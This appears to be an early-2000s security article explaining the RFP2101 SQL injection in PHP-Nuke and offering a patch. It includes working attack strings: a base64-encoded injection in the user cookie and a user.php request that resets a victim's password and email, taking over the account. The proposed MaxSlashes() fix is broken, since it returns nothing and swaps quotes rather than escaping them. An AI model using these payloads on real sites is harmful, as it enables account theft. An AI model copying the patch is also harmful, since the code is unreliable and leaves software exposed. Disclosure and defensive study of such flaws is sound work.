-----/ SA2K01 /-------------------------------/ SecurityApex.com /----
A quick fix against RFP2101
------------------------------------/ Max / Max@Wackowoh.com
Table of contents:
-/ 1 / Information on the exploit
-/ 2 / Fix for the exploit
-/ 3 / Credits
--------------------------------------------------------------------------
Note: This was only tested on PHP-Nuke 4.4 but SHOULD work on PHP-Nuke 4.3
--------------------------------------------------------------------------
-/ 1 / Information on the exploit /------------------------------------
Recently Rain Forest Puppy released his advisory RFP2101 which contains
exploits to steal usernames of users on a PHP-Nuke based site and to get
passwords from the admins who run a PHP-Nuke site. This is a fix for the
exploit to steal usernames. What the sploit does is exploit this code in
every script:
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
So as you can see in the second line of that code your need an $sid and
a $tid variable, which can both just be set to 0. But next you see, you
need a $save variable, which should be set to 1. So far we have:
index.php?save=1&sid=0&tid=0
But what can you do with that, you need a user to sploit. Say you want
to steal the user "Wang". so youd try:
index.php?save=1&sid=0&tid=0&user=Wang
but that wont do much but say your logged in as your ip, which you can
do nothing with. So next youd want to see why it does that. Notice in
the code above that it has the function cookiedecode(). The call to
cookiedecode() takes the string in $user, base64 decodes it, and then
splits it into parts around the ':' character, putting it into the
array $cookie[]. This makes sense, since the above SQL query is using
$cookie[0], the first element of the array. As seen here:
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
$result = mysql_query("select uid from users where
uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
}
Also, it calls the function getusrinfo():
function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email, femail,
url, user_avatar, user_icq, user_occ, user_from, user_intrest,
user_sig, user_viewemail, user_theme, user_aim, user_yim,
user_msnm, pass, storynum, umode, uorder, thold, noscore, bio,
ublockon, ublock, theme, commentmax from users where
uname='$user3[1]' and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "".translate("A problem ocurred.")."
";
}
return $userinfo;
}
Which if you look cantains the pass variable. If you want to read more
on this then read RFP2101. But the basic idea is to tamper with the user
variable to see if you can use an account WITHOUT the password. Like:
index.php?save=1&sid=0&tid=0&user=1:Wang:blah' or uname='Wang
But there is 1 big problem, PHP has built in ways to escape SQL hacking.
It adds a / to every ' and the only way to remove it is to user the
function stripslashes() which nuke does not. But, if you look. it needs
to Base64 decode the user variable, and it shouldnt add a / to the ' if
it was encoded in the url, so lets do that. We encode:
1:Wang:blah' or uname='Wang
An easy way to do this in PHP is:
echo base64_encode("1:Wang:blah' or uname='Wang");
And what we come up with is:
MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
So we try:
index.php?save=1&sid=0&tid=0&user=MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
And as you can see, it works. Where the biggest problem is, is a user
doing this:
/user.php?save=1&sid=0&tid=0&user=MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
&email=NEWEMAIL&pass=NEWPASS&vpass=NEWPASSAGAIN&uid=1
&op=saveuser
Which will change the users password AND the email so the user cant get
their pass back. Ending up in a stolen account.
-/ 2 / Fix for the exploit /------------------------------------
Well when the $user cariable is decoded it MUST have a ' in it, what if
we recreate the built in PHP anti SQL hacking precedures. Normally we
can use the AddSlashes() function, but for some odd reason that doesnt
work. So why not jsut manually add the slashes? Easy, we can do that
but when that happens, for some reason NO user can log in. Every will
seem to be logged in as their IP, so why not only do that if there is a
' in the string after you decode it. And that is how this fix works.
function MaxSlashes($string){
$string = ereg_replace("'", "\"", $string);
}
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
if(StrStr($user, "'")) {
$user = MaxSlashes($user);
$cookie = explode(":", $user);
$result = mysql_query("select uid from users
where uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
} else {
$cookie = explode(":", $user);
$result = mysql_query("select uid from users
where uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
}
}
If you dont already know, to implement this goto mainfile.php and
replace the WHOLE cookiedecode() function with these 2 functions.
From now on users can log in just fine AND when someone tries the
exploit, it will show them logged in as their IP, which as I said
earlier, lets them do nothing bad.
-/ 3 / Credits /------------------------------------
Rain Forest Puppy | rfp@wiretrip.net | http://www.wiretrip.net/rfp/
Article Look, Quotes, Code Snippets, Quotes, RFP2101 Itself
http://www.wiretrip.net/rfp/p/doc.asp?id=60
NOBODY ELSE ;)
-----/ RFP2101 /-----------/ SecurityApex.com / Max@Wackowoh.com /----